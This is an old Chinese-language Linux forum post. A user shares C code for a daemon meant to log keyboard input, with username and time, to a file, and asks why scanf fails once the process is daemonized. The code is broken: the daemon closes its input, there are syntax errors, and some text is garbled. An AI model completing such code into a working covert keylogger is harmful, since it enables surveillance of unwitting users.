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标题: 我用c在linuc下编写了一个记录键盘输入的守护进程！ [打印本页]

作者: duhengliang 时间: 2003-02-11 10:02
标题: 我用c在linuc下编写了一个记录键盘输入的守护进程！
现在问题是：
1 keylog.c文件中是用时间来做呢，还是用循环来做获得键盘的输入！
2 假如不做成damon，光一个keylog.c再加一个for循环就可以，但做成damon后，好想就不能用scanf了，否则的到得是乱码！请大家帮我看看，怎么做！！！！

////////////////////////////////////////////////init.c/////////////////////
#include<unistd.h>;
#include<signal.h>;
#include<sys/param.h>;
#include<sys/types.h>;
#include<sys/stat.h>;

void init_daemon(void)
{
int pid;
int i;

if(pid=fork())
exit(0);//..........
else if(pid< 0)
exit(1);//fork.....
//.............

setsid();//..................
//........
if(pid=fork())
exit(0);//..............
else if(pid< 0)
exit(1);//fork.....
//.........
//............

for(i=0;i< NOFILE;++i)//..........
close(i);
chdir("/tmp"

;//......./tmp
umask(0);//........
return;
}
///////////////////////////////////////keylog.c//////////////////////////////////
#include<stdio.h>;
#include<time.h>;
#include <unistd.h>;
#include <pwd.h>;
#include <sys/types.h>;

void init_daemon(void);//.........

main()
{    // get uid codes start
      pid_t my_pid,parent_pid;
      uid_t my_uid,my_euid;
      gid_t my_gid,my_egid;
      struct passwd *my_info;

      my_pid=getpid();
      parent_pid=getppid();
      my_uid=getuid();
      my_euid=geteuid();
      my_gid=getgid();
      my_egid=getegid();
      my_info=getpwuid(my_uid);

      //printf("

rocess ID:%ld\n",my_pid);
//printf("

arent ID:%ld\n",parent_pid);
      //printf("User ID:%ld\n",my_uid);
      //printf("Effective User ID:%ld\n",my_euid);
      //printf("Group ID:%ld\n",my_gid);
      //printf("Effective Group ID:%ld\n",my_egid);

      //if(my_info)
      //{
            //printf("My Login Name:%s\n" ,my_info->;pw_name);
            //printf("My Password :%s\n" ,my_info->;pw_passwd);
            //printf("My User ID :%ld\n",my_info->;pw_uid);
            //printf("My Group ID :%ld\n",my_info->;pw_gid);
            //printf("My Real Name:%s\n" ,my_info->;pw_gecos);
            //printf("My Home Dir :%s\n", my_info->;pw_dir);
            //printf("My Work Shell:%s\n", my_info->;pw_shell);
      //    }
      //    get uid codes end!

      FILE *fp;
      time_t t;
      init_daemon();//....Daemon
      char keystr[50];
      int i=0;
      scanf("%s",&keystr);
      if((fp=fopen("keylog.txt","ab+"

)>;0);
               {
                  t=time(0);
                  fseek(fp,0,SEEK_END);
                  fprintf(fp,"<Command-%d>;: %s <By>;: %s <When>;: %s\n",++i,&keystr,my_info->;pw_name,asctime(localtime(&t)) );
                  fclose(fp);
               }

}

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